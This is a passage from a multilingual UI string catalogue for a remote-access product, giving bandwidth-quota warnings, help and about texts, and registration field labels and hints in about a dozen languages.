<de>Sie haben %WEBSVC.FILEXFER.BWLEFT_szx von %WEBSVC.FILEXFER.BWLIMIT_szx Bandbreite für den Dateitransfer übrig.</de>
<es>Le quedan %WEBSVC.FILEXFER.BWLEFT_szx de su ancho de banda de %WEBSVC.FILEXFER.BWLIMIT_szx
para transferencia de archivos.</es>
<fr>Vous êtes à %WEBSVC.FILEXFER.BWLEFT_szx de la limite de %WEBSVC.FILEXFER.BWLIMIT_szx
de votre largeur de bande de transfert de fichier.</fr>
<it>Si dispone ancora di %WEBSVC.FILEXFER.BWLEFT_szx della larghezza di banda %WEBSVC.FILEXFER.BWLIMIT_szx per il trasferimento di file.</it>
<ru>Осталось %WEBSVC.FILEXFER.BWLEFT_szx из пропускной способности %WEBSVC.FILEXFER.BWLIMIT_szx, выделенной для передачи файлов.</ru>
<ja>%WEBSVC.FILEXFER.BWLIMIT_szx のファイル転送帯域幅制限のうち、現在残っているのは %WEBSVC.FILEXFER.BWLEFT_szx です。</ja>
<zh>您已将 %WEBSVC.FILEXFER.BWLEFT_szx 排除在您的 %WEBSVC.FILEXFER.BWLIMIT_szx 文件传输带宽限制之外。</zh>
<ko>%WEBSVC.FILEXFER.BWLIMIT_szx 파일 전송 대역폭 제한 중 %WEBSVC.FILEXFER.BWLEFT_szx가 남았습니다.</ko>
<en-gb>You have %WEBSVC.FILEXFER.BWLEFT_szx left of your %WEBSVC.FILEXFER.BWLIMIT_szx file transfer bandwidth limit.</en-gb>
<hu>Ön már csak %WEBSVC.FILEXFER.BWLEFT_szx -al rendelkezik a %WEBSVC.FILEXFER.BWLIMIT_szx
fájlátviteli sávszélesség-korlátból.</hu>
<pt-br>Resta(m) %WEBSVC.FILEXFER.BWLEFT_szx do seu limite de largura de banda de %WEBSVC.FILEXFER.BWLIMIT_szx
para transferência de arquivos.</pt-br>
<nl>U hebt nog %WEBSVC.FILEXFER.BWLEFT_szx beschikbaar voor uw bandbreedtelimiet van %WEBSVC.FILEXFER.BWLIMIT_szx file  voor de overdracht van bestanden.</nl>
</msg>
<msg name="FILEXFERBW.LOW">
<en>WARNING: You only have %WEBSVC.FILEXFER.BWLEFT_szx left of your file transfer
bandwidth limit. If you exceed your quota, you will not be able to transfer files
from/to your computer, however you may still be able to access other features of
%PRODUCTNAME. Make sure to purchase an extension before you run out.</en>
<de>WARNUNG: Sie haben nur noch %WEBSVC.FILEXFER.BWLEFT_szx von ihrer Bandbreite für den Dateitransfer übrig. Wenn sie diese Begrenzung überscheiten, können sie keine Dateien mehr von/zu dem Computer übertragen, jedoch können sie weiterhin alle Funktionen von %PRODUCTNAME nutzen. Bestellen sie bitte vorher eine Erweiterung.</de>
<es>AVISO: Sólo tiene %WEBSVC.FILEXFER.BWLEFT_szx libre de su límite de ancho de banda
para transferencia de archivos. Si sobrepasa su cupo, no podrá transferir archivos
desde/hacia su ordenador; no obstante, podrá acceder a otras funciones de
%PRODUCTNAME. Asegúrese de adquirir una ampliación antes de quedarse sin ancho de banda.</es>
<fr>AVERTISSEMENT : Vous êtes à %WEBSVC.FILEXFER.BWLEFT_szx de la limite de votre largeur
de bande de transfert de fichiers. Si vous dépassez votre quote-part, vous ne pourrez plus transférer les fichiers
depuis/vers votre ordinateur, toutefois vous pourrez toujours accéder aux autres fonctionnalités de
%PRODUCTNAME. Assurez-vous donc d'acquérir une extension avant d'atteindre cette limite.</fr>
<it>AVVISO: si dispone ancora di %WEBSVC.FILEXFER.BWLEFT_szx della larghezza di banda per il trasferimento di file. Se si supera il limite, non sarà possibile trasferire file dal/al computer; sarà tuttavia possibile accedere ad altre funzioni di %PRODUCTNAME. Acquistare un'estensione prima di esaurire del tutto la larghezza di banda.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Осталось только %WEBSVC.FILEXFER.BWLEFT_szx из пропускной способности, выделенной для передачи файлов. В случае превышения квоты пользователь не сможет обмениваться файлами со своим компьютером. Однако сможет получить доступ к другим функциям %PRODUCTNAME. Прежде чем выходить за пределы данной квоты, приобретите право на использование дополнительной пропускной способности.</ru>
<ja>警告 :ファイル転送帯域幅制限のうち、現在残っているのは %WEBSVC.FILEXFER.BWLEFT_szx のみです。割り当て領域を超えると、コンピュータとの間でのファイル転送 (送受信) ができなくなります。ただし、その場合でも、%PRODUCTNAME の他の機能にアクセスすることはできます。領域が不足する前に、拡張領域を購入してください。</ja>
<zh>警告:您仅将 %WEBSVC.FILEXFER.BWLEFT_szx 排除在您的文件传输带宽限制之外。如果超出配额,您将不能从您的计算机传输文件或将文件传输至您的计算机,然而,您仍然可以访问 %PRODUCTNAME 的其他功能。确保在配额用完之前购买更多。</zh>
<ko>경고: 파일 전송 대역폭 제한 중 %WEBSVC.FILEXFER.BWLEFT_szx만 남았습니다. 할당량을 초과할 경우 컴퓨터에서 또는 컴퓨터로 파일을 전송할 수 없지만 %PRODUCTNAME의 다른 기능에는 액세스할 수 있습니다. 모두 사용하기 전에 확장 제품을 구입하십시오.</ko>
<en-gb>WARNING: You only have %WEBSVC.FILEXFER.BWLEFT_szx left of your file transfer bandwidth limit. If you exceed your quota, you will not be able to transfer files from/to your computer; you may, however, still be able to access other features of %PRODUCTNAME. Make sure to purchase an extension before you run out.</en-gb>
<hu>FIGYELEM: Ön már csak %WEBSVC.FILEXFER.BWLEFT_szx -al rendelkezik a fájlátviteli
sávszélesség-korlátból. Ha meghaladja a kvótáját, akkor nem vihet át fájlokat
a számítógépről/számítógépre, ám továbbra is elérheti a
%PRODUCTNAME egyéb funkcióit. Vásároljon egy hosszabbítást, mielőtt lejárna.</hu>
<pt-br>AVISO: Resta(m) %WEBSVC.FILEXFER.BWLEFT_szx do seu limite de largura de banda
para transferência de arquivos. Se você exceder a sua cota, não poderá transferir arquivos
de/para o seu computador; no entanto, ainda poderá continuar acessando outros recursos do
%PRODUCTNAME. Assegure-se de adquirir um aumento de cota antes de sair.</pt-br>
<nl>WAARSCHUWING: U hebt nog slechts %WEBSVC.FILEXFER.BWLEFT_szx beschikbaar van uw bandbreedtelimiet voor de overdracht van bestanden. Als u uw quotum overschrijdt, kunt u geen bestanden meer overdragen van/naar uw computer, maar u krijgt dan nog wel toegang tot de andere functies van %PRODUCTNAME. Vergeet niet een uitbreiding te kopen voordat het te laat is.</nl>
</msg>
<msg name="SHARINGBW.TITLE">
<en>File Sharing bandwidth usage</en>
<es>Uso de ancho de banda de Transferencia de archivos</es>
<de>Bandbreitennutzung bei der Dateifreigabe</de>
<fr>Bande passante utilisée par le partage de fichiers</fr>
<it>Utilizzo larghezza di banda per la Condivisione dei file</it>
<ru>Использование пропускной способности для общего доступа к файлам</ru>
<ja>ファイル共有の帯域幅使用率</ja>
<zh>文件共享带宽使用</zh>
<ko>파일 공유 대역폭 사용량</ko>
<en-gb>File Sharing bandwidth usage</en-gb>
<hu>Fájlmegosztás sávszélesség-használata</hu>
<pt-br>Uso de largura de banda para compartilhamento de arquivos</pt-br>
<nl>Bandbreedtegebruik voor Bestanden delen</nl>
</msg>
<msg name="SHARINGBW">
<en>%WEBSVC.SHARING.BWUSED_szx used out of %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx left</en>
<de>%WEBSVC.SHARING.BWUSED_szx von %WEBSVC.SHARING.BWLIMIT_szx verbraucht, %WEBSVC.SHARING.BWLEFT_szx übrig.</de>
<es>%WEBSVC.SHARING.BWUSED_szx utilizado de %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx libre</es>
<fr>%WEBSVC.SHARING.BWUSED_szx dépassant %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx restant</fr>
<it>%WEBSVC.SHARING.BWUSED_szx di larghezza di banda utilizzata su %WEBSVC.SHARING.BWLIMIT_szx, ancora %WEBSVC.SHARING.BWLEFT_szx da utilizzare</it>
<ru>Из %WEBSVC.SHARING.BWLIMIT_szx использовано %WEBSVC.SHARING.BWUSED_szx, осталось %WEBSVC.SHARING.BWLEFT_szx.</ru>
<ja>%WEBSVC.SHARING.BWLIMIT_szx のうち、%WEBSVC.SHARING.BWUSED_szx が使用され、%WEBSVC.SHARING.BWLEFT_szx が残っています。</ja>
<zh>%WEBSVC.SHARING.BWUSED_szx 的使用超出 %WEBSVC.SHARING.BWLIMIT_szx,%WEBSVC.SHARING.BWLEFT_szx 有剩余</zh>
<ko>%WEBSVC.SHARING.BWLIMIT_szx 중 %WEBSVC.SHARING.BWUSED_szx를 사용했고, %WEBSVC.SHARING.BWLEFT_szx이(가) 남았음</ko>
<en-gb>%WEBSVC.SHARING.BWUSED_szx used out of %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx left</en-gb>
<hu>%WEBSVC.SHARING.BWUSED_szx felhasználva ebből: %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx maradt</hu>
<pt-br>%WEBSVC.SHARING.BWUSED_szx de %WEBSVC.SHARING.BWLIMIT_szx usado(s), resta(m) %WEBSVC.SHARING.BWLEFT_szx</pt-br>
<nl>%WEBSVC.SHARING.BWUSED_szx gebruikt van %WEBSVC.SHARING.BWLIMIT_szx, %WEBSVC.SHARING.BWLEFT_szx resterend</nl>
</msg>
<msg name="SHARINGBW.LOW">
<en>
WARNING: You only have %WEBSVC.SHARING.BWLEFT_szx left of your
%WEBSVC.SHARING.BWLIMIT_szx File Sharing bandwidth limit. If you exceed
your quota, your friends will get very poor performance when downloading
your shared files. Make sure to purchase an extension before you run out.</en>
<es>
ADVERTENCIA: sólo le queda %WEBSVC.SHARING.BWLEFT_szx del límite de 
%WEBSVC.SHARING.BWLIMIT_szx de ancho de banda de Transferencia de archivos. Si lo supera, 
la velocidad a la que sus amigos podrán descargar sus archivos compartidos será muy lenta. 
Asegúrese de adquirir una ampliación antes de quedarse sin ancho de banda.</es>
<de>
ACHTUNG: Es sind nur mehr %WEBSVC.SHARING.BWLEFT_szx von Ihrer für die Dateifreigabe 
verfügbaren Bandbreite %WEBSVC.SHARING.BWLIMIT_szx übrig. Nachdem die erlaubte Datenmenge 
aufgebraucht wurde, können Ihre Freunde Ihre freigegebenen Dateien nur sehr langsam herunterladen. 
Bitte kaufen Sie ein zusätzliches Datenpaket, bevor Sie das Limit überschreiten.</de>
<fr>
AVERTISSEMENT : il ne vous reste que %WEBSVC.SHARING.BWLEFT_szx 
de votre bande passante de partage de fichiers totale de %WEBSVC.SHARING.BWLIMIT_szx. 
Si vous dépassez votre quota, vos proches subiront une vitesse de téléchargement 
très faible. Veillez à acheter une extension avant d'atteindre le plafond.</fr>
<it>
ATTENZIONE: Rimangono solo %WEBSVC.SHARING.BWLEFT_szx del limite 
di larghezza di banda per la Condivisione dei file di %WEBSVC.SHARING.BWLIMIT_szx. 
Eccedendo la propria quota, il download dei file condivisi sarà molto lento. 
Assicurarsi di acquistare un'estensione prima di esaurire le risorse.</it>
<ru>
ПРЕДУПРЕЖДЕНИЕ. У вас осталось только %WEBSVC.SHARING.BWLEFT_szx из 
%WEBSVC.SHARING.BWLIMIT_szx предельной пропускной способности для общего 
доступа к файлам. Если вы превысите свою квоту, ваши друзья получат низкую скорость 
при загрузке общих файлов. Приобретите расширение, пока квота не исчерпана.</ru>
<ja>
警告: %WEBSVC.SHARING.BWLIMIT_szx ファイル共有帯域幅
制限の %WEBSVC.SHARING.BWLEFT_szx しか残っていません。 
クォータを超過すると、共有ファイル ダウンロード時のパフォーマンスが
大幅に低下します。 使い切る前に拡張を購入してください。</ja>
<zh>
警告:根据您的 %WEBSVC.SHARING.BWLIMIT_szx 
文件共享带宽限制,您只剩下 %WEBSVC.SHARING.BWLEFT_szx。 
如果您超出限额,您的朋友在下载共享文件时将变得非常慢。 
确保您在用完带宽限额前购买扩展带宽。</zh>
<ko>
경고: %WEBSVC.SHARING.BWLIMIT_szx 파일 공유 대역폭 제한 중 
%WEBSVC.SHARING.BWLEFT_szx만 남았습니다. 할당량을 초과할 경우
공유 파일을 다운로드하면 사용자의 동료는 상당히 저하된 성능을 경험할 것입니다. 
모두 사용하기 전에 확장 제품을 구입하십시오.</ko>
<en-gb>
WARNING: You only have %WEBSVC.SHARING.BWLEFT_szx left of your
%WEBSVC.SHARING.BWLIMIT_szx File Sharing bandwidth limit. If you exceed
your quota, your friends will get very poor performance when downloading
your shared files. Make sure to purchase an extension before you run out.</en-gb>
<hu>
FIGYELMEZTETÉS: Az Ön %WEBSVC.SHARING.BWLIMIT_szx fájlmegosztási 
sávszélesség-korlátjából már csak %WEBSVC.SHARING.BWLEFT_szx áll rendelkezésre. 
Ha túllépi a kvótáját, akkor a megosztott fájljait a barátai nagyon gyenge 
teljesítménnyel tudják letölteni. Vásároljon bővítést, mielőtt túllépné a kvótát.</hu>
<pt-br>
AVISO: Você só tem %WEBSVC.SHARING.BWLEFT_szx sobrando do seu limite de largura 
de banda do Compartilhamento de arquivos de %WEBSVC.SHARING.BWLIMIT_szx. 
Se você exceder essa cota, seus amigos terão um desempenho muito ruim ao baixar 
seus arquivos compartilhados. Assegure-se de adquirir um aumento de cota antes de sair.</pt-br>
<nl>
WAARSCHUWING: U hebt nog slechts %WEBSVC.SHARING.BWLEFT_szx beschikbaar van uw 
bandbreedtelimiet van %WEBSVC.SHARING.BWLIMIT_szx voor Bestanden delen. Als u uw 
quotum overschrijdt, zal de verbinding van uw vrienden zeer traag zijn wanneer zij uw 
gedeelde bestanden downloaden. Vergeet niet een uitbreiding te kopen voordat het te laat is.</nl>
</msg>
<msg name="SHARINGBW.BUY">
<en>Buy more bandwidth</en>
<de>Mehr Bandbreite kaufen</de>
<es>Compre más ancho de banda</es>
<fr>Veuillez acquérir davantage de bande passante</fr>
<it>Acquista una larghezza di banda maggiore</it>
<ru>Купите дополнительную пропускную способность</ru>
<ja>追加帯域幅を購入</ja>
<zh>购买更多带宽</zh>
<ko>추가 대역폭 구입</ko>
<en-gb>Buy more bandwidth</en-gb>
<hu>További sávszélesség vásárlása</hu>
<pt-br>Comprar mais largura de banda</pt-br>
<nl>Meer bandbreedte kopen</nl>
</msg>
<msg name="HELP.DESC">
<en>Get the most out of %PRODUCTNAME by referring to the Help section.</en>
<de>Verwenden sie die Hilfeseite, um alles über %PRODUCTNAME zu erfahren.</de>
<es>Sepa más sobre %PRODUCTNAME visitando la sección Ayuda.</es>
<fr>Obtenez plus d'information sur %PRODUCTNAME en consulatant la section d'aide.</fr>
<it>Utilizzare la Guida per sfruttare al meglio tutte le funzionalità disponibili in %PRODUCTNAME.</it>
<ru>Чтобы использовать %PRODUCTNAME максимально эффективно, ознакомьтесь с разделом справки.</ru>
<ja>%PRODUCTNAME を最大限に活用する方法については、ヘルプを参照してください。</ja>
<zh>通过查看“帮助”部分获得有关 %PRODUCTNAME 的更多信息。</zh>
<ko>"도움말" 섹션을 참조하여 %PRODUCTNAME의 장점을 최대한 활용하십시오.</ko>
<en-gb>Get the most out of %PRODUCTNAME by referring to the Help section.</en-gb>
<hu>Használja ki a lehető legjobban a %PRODUCTNAME programot, olvassa át a Súgó részt.</hu>
<pt-br>Obtenha o máximo do %PRODUCTNAME consultando a seção Ajuda.</pt-br>
<nl>Gebruik de mogelijkheden van %PRODUCTNAME optimaal door de Help-sectie te raadplegen.</nl>
</msg>
<msg brand="LMI" name="HELP.DESC">
<en>Click here to make changes to your %PRODUCTNAME account, view the user's 
manual, or contact customer support</en>
<de>Verwenden sie die Hilfeseite, um alles über %PRODUCTNAME zu erfahren.</de>
<es>Sepa más sobre %PRODUCTNAME visitando la sección Ayuda.</es>
<fr>Obtenez plus d'information sur %PRODUCTNAME en consulatant la section d'aide.</fr>
<it>Utilizzare la Guida per sfruttare al meglio tutte le funzionalità disponibili in %PRODUCTNAME.</it>
<ru>Чтобы использовать %PRODUCTNAME максимально эффективно, ознакомьтесь с разделом справки.</ru>
<ja>%PRODUCTNAME を最大限に活用する方法については、ヘルプを参照してください。</ja>
<zh>通过查看“帮助”部分获得有关 %PRODUCTNAME 的更多信息。</zh>
<ko>"도움말" 섹션을 참조하여 %PRODUCTNAME의 장점을 최대한 활용하십시오.</ko>
<en-gb>Get the most out of %PRODUCTNAME by referring to the Help section.</en-gb>
<hu>Használja ki a lehető legjobban a %PRODUCTNAME programot, olvassa át a Súgó részt.</hu>
<pt-br>Obtenha o máximo do %PRODUCTNAME consultando a seção Ajuda.</pt-br>
<nl>Gebruik de mogelijkheden van %PRODUCTNAME optimaal door de Help-sectie te raadplegen.</nl>
</msg>
<msg name="HELP.DESC.LMIPRO">
<en>View the user's manual, or contact customer support</en>
<de>Handbuch anzeigen, oder den Support kontaktieren</de>
<es>Ver el manual del usuario o ponerse en contacto con el equipo de atención al cliente</es>
<fr>Consultez le manuel utilisateur, ou contactez le support à la clientèle</fr>
<it>Visualizza il manuale dell'utente o contatta il supporto clienti</it>
<ru>Обратитесь к руководству пользователя или в службу поддержки клиентов</ru>
<ja>ユーザ マニュアルを表示またはカスタマ サポートに連絡</ja>
<zh>查看用户手册,或与客户支持联络</zh>
<ko>사용 설명서를 보거나 고객 지원부 문의</ko>
<en-gb>View the user manual or contact customer support</en-gb>
<hu>Felhasználói kézikönyv megtekintése, vagy kapcsolatfelvétel az ügyféltámogatással</hu>
<pt-br>Exiba o manual do usuário ou entre em contato com o suporte ao cliente</pt-br>
<nl>De gebruikershandleiding raadplegen of contact opnemen met de afdeling Klantensupport</nl>
</msg>
<msg name="ABOUT.DESC">
<en>View license and version information about %PRODUCTNAME.</en>
<de>Lizenz und Versionsinformationen über %PRODUCTNAME anzeigen.</de>
<es>Ver información sobre licencia y versión de %PRODUCTNAME.</es>
<fr>Informations sur la license et la version de %PRODUCTNAME.</fr>
<it>Visualizzare le informazioni sulla licenza e sulla versione di %PRODUCTNAME.</it>
<ru>Просмотрите информацию о лицензии и версии %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME のライセンス情報およびバージョン情報を表示します。</ja>
<zh>查看有关 %PRODUCTNAME 的许可证和版本信息。</zh>
<ko>%PRODUCTNAME에 대한 라이센스 및 버전 정보를 확인합니다.</ko>
<en-gb>View licence and version information about %PRODUCTNAME.</en-gb>
<hu>A %PRODUCTNAME licensz- és verzió-információinak megtekintése.</hu>
<pt-br>Exiba as informações de licença e versão sobre o %PRODUCTNAME.</pt-br>
<nl>Licentie- en versiegegevens van %PRODUCTNAME weergeven.</nl>
</msg>
</cat>
<cat name="REG">
<msg name="EMAIL.HINT">
<en>It is especially important that you provide an accurate email address so we
can send you an activation link allowing you to access your account for the
first time. %PRODUCTNAME respects your privacy. For more information about how we
safeguard your personal information, please see our Privacy Policy below.</en>
<de>Es ist wichtig, dass sie eine gültig Emailadresse eingeben, damit wir ihnen einen Aktivierungslink senden können, mit dem sie auf ihren Konto zugreifen können.</de>
<es>Es muy importante que facilite su dirección correcta de correo electrónico para que
podamos enviarle un vínculo de activación que le permita acceder a su cuenta por
Primera vez. %PRODUCTNAME respeta su privacidad. Para obtener más información sobre cómo
protegemos su información personal, lea nuestra Política de Privacidad.</es>
<fr>Il est particulièrement important que vous fournissiez un email
address précis ainsi nous pouvons vous envoyer un lien d'activation
vous permettant d'accéder au votre expliquons la première fois.
%PRODUCTNAME respecte votre intimité. Pour plus d'informations sur la
façon dont nous sauvegardons votre information personnelle, voir svp
notre politique d'intimité ci-dessous.</fr>
<it>È particolarmente importante fornire un indirizzo e-mail preciso in modo da consentirci di inviare un collegamento di attivazione che permetta all'utente di accedere al proprio account per la prima volta. %PRODUCTNAME rispetta la privacy dell'utente. Per ulteriori informazioni su come salvaguardiamo le informazioni personali, vedere di seguito l'informativa sulla privacy.</it>
<ru>Особенно важно предоставить точный адрес электронной почты, чтобы компания могла отправить пользователю ссылку активации, позволяющую получить первоначальный доступ к учетной записи. %PRODUCTNAME соблюдает конфиденциальность. Дополнительную информацию о соблюдении личной информации см. в приведенной ниже политике конфиденциальности.</ru>
<ja>アカウントへの初回のアクセスを許可するアクティベーション リンクを確実にお届けするためにも、正確な電子メール アドレスをお知らせください。%PRODUCTNAME は個人情報の取り扱いには慎重を期しております。弊社の個人情報の保護の詳細については、下のプライバシー ポリシーをご覧ください。</ja>
<zh>非常重要的一点是,您应该提供准确的电子邮件地址,以便我们可以向您发送一个激活链接,从而允许您首次访问您的帐户。%PRODUCTNAME 尊重您的隐私。有关我们如何保护您的个人信息的详情,请参阅以下我们的“隐私策略”。</zh>
<ko>처음 사용자 계정에 액세스를 허용하는 활성화 링크를 보낼 수 있도록 정확한 전자 메일 주소를 제공하는 것이 특히 중요합니다. %PRODUCTNAME은(는) 사용자의 개인정보를 보호합니다. 사용자의 개인정보를 보호하는 방식에 대한 자세한 내용은 아래 개인정보 보호정책을 참조하십시오.</ko>
<en-gb>It is especially important that you provide an accurate e-mail address so we can send you an activation link allowing you to access your account for the first time. %PRODUCTNAME respects your privacy. For more information about how we safeguard your personal information, please see our Privacy Policy below.</en-gb>
<hu>Különösen fontos, hogy pontos e-mail címet adjon meg, hogy 
elküldhessük Önnek az aktiváló hivatkozást, amely lehetővé teszi, hogy első alkalommal belépjen 
a fiókjába. A %PRODUCTNAME tiszteletben tartja adatainak védelmét. További információkért az 
Ön személyes adatainak védelmére vonatkozóan tekintse meg az alábbi Adatvédelmi Irányelvet.</hu>
<pt-br>É especialmente importante que você forneça um endereço de e-mail correto para que
possamos enviar um link de ativação que lhe permita acessar sua conta
pela primeira vez. O %PRODUCTNAME respeita sua privacidade. Para obter informações sobre como
protegemos nossas informações pessoais, consulte nossa Política de privacidade, a seguir.</pt-br>
<nl>Het is van essentieel belang dat u een correct e-mailadres opgeeft zodat wij naar u een link voor de activering kunnen verzenden zodat u de eerste keer toegang krijgt tot uw account. %PRODUCTNAME vindt de bescherming van uw privacy belangrijk. Als u meer informatie wenst over onze methoden om uw persoonlijke gegevens te beschermen, kunt u ons Privacybeleid raadplegen dat hieronder is weergegeven.</nl>
</msg>
<msg name="USERTYPE">
<en>This is a</en>
<de>Das ist ein</de>
<es>Esto es</es>
<fr>C'est un</fr>
<it>L'utente è</it>
<ru>Это</ru>
<ja>これは次の通りです</ja>
<zh>这是一个</zh>
<ko>이것은</ko>
<en-gb>This is a</en-gb>
<hu>Ez egy</hu>
<pt-br>Trata-se de</pt-br>
<nl>Dit is een</nl>
</msg>
<msg name="USERTYPE.B">
<en>Business</en>
<de>Unternehmen</de>
<es>un negocio</es>
<fr>Affaires</fr>
<it>Un'azienda</it>
<ru>Бизнес</ru>
<ja>ビジネス</ja>
<zh>商业</zh>
<ko>비즈니스</ko>
<en-gb>Business</en-gb>
<hu>Vállalkozás</hu>
<pt-br>empresa</pt-br>
<nl>Bedrijf</nl>
</msg>
<msg name="USERTYPE.E">
<en>Educational institution </en>
<de>Bildungsanstalt</de>
<es>una institución educativa</es>
<fr>Établissement éducatif</fr>
<it>Un istituto scolastico/educativo</it>
<ru>Образовательное учреждение</ru>
<ja>教育機関</ja>
<zh>教育机构</zh>
<ko>교육 기관</ko>
<en-gb>Educational institution</en-gb>
<hu>Oktatási intézmény</hu>
<pt-br>instituição educacional</pt-br>
<nl>Onderwijsinstelling</nl>
</msg>
<msg name="USERTYPE.G">
<en>Government agency</en>
<de>Staatliche Einrichtung</de>
<es>una agencia gubernamental</es>
<fr>Organisme gouvernemental</fr>
<it>Un ente governativo</it>
<ru>Правительственное учреждение</ru>
<ja>政府機関</ja>
<zh>政府部门</zh>
<ko>정부 기관</ko>
<en-gb>Government agency</en-gb>
<hu>Kormányzati szerv</hu>
<pt-br>agência governamental</pt-br>
<nl>Overheidsinstantie</nl>
</msg>
<msg name="USERTYPE.H">
<en>Home address</en>
<de>Privatadresse</de>
<es>un domicilio</es>
<fr>Adresse privée</fr>
<it>Un privato</it>
<ru>Домашний адрес</ru>
<ja>家庭</ja>
<zh>住宅地址</zh>
<ko>집 주소</ko>
<en-gb>Home address</en-gb>
<hu>Otthoni cím</hu>
<pt-br>endereço residencial</pt-br>
<nl>Thuisadres</nl>
</msg>
<msg name="USERTYPE.O">
<en>Non-profit organization</en>
<de>Non-Profit Organisation</de>
<es>una ONG</es>
<fr>Organisation à but non lucratif</fr>
<it>Un'organizzazione senza scopo di lucro</it>
<ru>Некоммерческая организация</ru>
<ja>非営利団体</ja>
<zh>非赢利性组织</zh>
<ko>비영리 기관</ko>
<en-gb>Non-profit organisation</en-gb>
<hu>Civil szervezet</hu>
<pt-br>Organização sem fins lucrativos</pt-br>
<nl>Niet-commerciële organisatie</nl>
</msg>
<msg name="HOSTDESC">
<en>Computer description</en>
<de>Computerbeschreibung</de>
<es>Descripción del ordenador</es>
<fr>Description de l'ordinateur</fr>
<it>Descrizione computer</it>
<ru>Описание компьютера</ru>
<ja>コンピュータの説明</ja>
<zh>计算机说明</zh>
<ko>컴퓨터 설명</ko>
<en-gb>Computer description</en-gb>
<hu>Számítógép leírása</hu>
<pt-br>Descrição do computador</pt-br>
<nl>Beschrijving van computer</nl>
</msg>
<msg name="HOSTDESC.HINT">
<en>Here you can provide a short description for this computer.
If you have several computers online, this helps you choose which one
of them to connect to. Use something like "home pc" or "dad's webserver".</en>
<fr>Vous pouvez décrire ici une brève description pour cet ordinateur.
Si vous avez plusieurs ordinateurs en ligne, ceci vous aidera à choisir celui
auquel vous voulez vous connecter. Employez des termes tels que "Ordinateur personnel" ou "Serveur Web de papa".
</fr>
<es>
Puede introducir una breve descripción de ese ordenador.
Si tiene conectados varios ordenadores, esta descripción le ayudará a decidir
a cuál de ellos conectarse. Utilice algo como "ordenador casa" o "servidor web de papá".
</es>
<de>Hier können Sie eine kurze Beschreibung dieses Computers eingeben.
Wenn mehrere Computer online sind, können Sie sie dadurch besser unterscheiden.
Verwenden Sie einfach Beschreibungen wie „Heimcomputer“ oder „Papas Webserver“.
</de>
<it>È possibile fornire una breve descrizione di questo computer.
Se si hanno diversi computer in linea, questo aiuta a scegliere quello a cui collegarsi.
Utilizzare un nome come "Computer di casa" o "Server Web di papà".
</it>
<nl>Hier kunt u een beknopte omschrijving voor deze computer invoeren.
Als u meerdere computers hebt die online zijn, helpt dit om een computer te kiezen
waarmee u verbinding zult maken. Geef een korte omschrijving op zoals "Computer thuis" of "Webserver van papa".
</nl>
<pt-br>Aqui você pode fornecer uma breve descrição deste computador.
Se você tiver vários computadores online, é importante escolher a qual
deles irá se conectar. Use algo como "computador de casa" or "servidor da web do papai".
</pt-br>
<zh>您可以在此处提供该计算机的简要说明。
如果您有多台计算机联机,这样做可以帮助您从中选择要连接的计算机。
可以使用“家庭计算机”或“爸爸的 Web 服务器”等类似说明。
</zh>
<ru>Здесь можно предоставить краткое описание данного компьютера.
Если доступно несколько компьютеров, то это описание поможет выбрать, к какому из них подключиться.
Используйте описания типа «домашний компьютер» или «папин веб-сервер».
</ru>
<ja>ここには、このコンピュータに関する短い説明を入力することができます。
オンラインのコンピュータを何台か所有している場合、その中のどのコンピュータに接続するかを選択するのに役立ちます。
「自宅コンピュータ」とか、「パパ用Web サーバー」といった表記を使用してください。
</ja>
<ko>여기에 컴퓨터에 대한 간단한 설명을 제공할 수 있습니다.
여러 컴퓨터가 온라인 상태인 경우 이 정보를 통해 연결할
컴퓨터를 선택할 수 있습니다. "home computer" 또는 "dad's webserver"와 같은 단어를 사용하십시오.
</ko>
<hu>
Itt egy rövid leírást adhat erről a számítógépről.
Ha több számítógépe is van online, akkor ez fog segíteni abban, hogy melyikhez
csatlakozzon. Olyan leírásokat használjon, mint pl.: "otthoni számítógép", vagy "apu webkiszolgálója".
</hu>
<en-gb>Here you can provide a short description for this computer. If you have several computers online, this helps you choose which one of them to connect to. Use something like "home pc" or "dad's webserver".</en-gb>
</msg>
<msg os="macosx" name="HOSTDESC.HINT">
<en>Here you can provide a short description for this computer.
If you have several computers online, this helps you choose which one
of them to connect to. Use something like "home computer" or "dad's webserver".</en>
<en>
Here you can provide a short description for this computer.
If you have several computers online, this helps you choose which one
of them to connect to. Use something like "home pc" or "dad's webserver".
</en>
<fr>
Vous pouvez décrire ici une brève description pour cet ordinateur.
Si vous avez plusieurs ordinateurs en ligne, ceci vous aidera à choisir celui
auquel vous voulez vous connecter. Employez des termes tels que "Ordinateur personnel" ou "Serveur Web de papa".
</fr>
<es>
Puede introducir una breve descripción de ese ordenador.
Si tiene conectados varios ordenadores, esta descripción le ayudará a decidir
a cuál de ellos conectarse. Utilice algo como "ordenador casa" o "servidor web de papá".
</es>
<de>
Hier können Sie eine kurze Beschreibung dieses Computers eingeben.
Wenn mehrere Computer online sind, können Sie sie dadurch besser unterscheiden.
Verwenden Sie einfach Beschreibungen wie „Heimcomputer“ oder „Papas Webserver“.
</de>
<it>
È possibile fornire una breve descrizione di questo computer.
Se si hanno diversi computer in linea, questo aiuta a scegliere quello a cui collegarsi.
Utilizzare un nome come "Computer di casa" o "Server Web di papà".
</it>
<nl>
Hier kunt u een beknopte omschrijving voor deze computer invoeren.
Als u meerdere computers hebt die online zijn, helpt dit om een computer te kiezen
waarmee u verbinding zult maken. Geef een korte omschrijving op zoals "Computer thuis" of "Webserver van papa".
</nl>
<pt-br>
Aqui você pode fornecer uma breve descrição deste computador.
Se você tiver vários computadores online, é importante escolher a qual
deles irá se conectar. Use algo como "computador de casa" or "servidor da web do papai".
</pt-br>
<zh>
您可以在此处提供该计算机的简要说明。
如果您有多台计算机联机,这样做可以帮助您从中选择要连接的计算机。
可以使用“家庭计算机”或“爸爸的 Web 服务器”等类似说明。
</zh>
<ru>
Здесь можно предоставить краткое описание данного компьютера.
Если доступно несколько компьютеров, то это описание поможет выбрать, к какому из них подключиться.
Используйте описания типа «домашний компьютер» или «папин веб-сервер».
</ru>
<ja>
ここには、このコンピュータに関する短い説明を入力することができます。
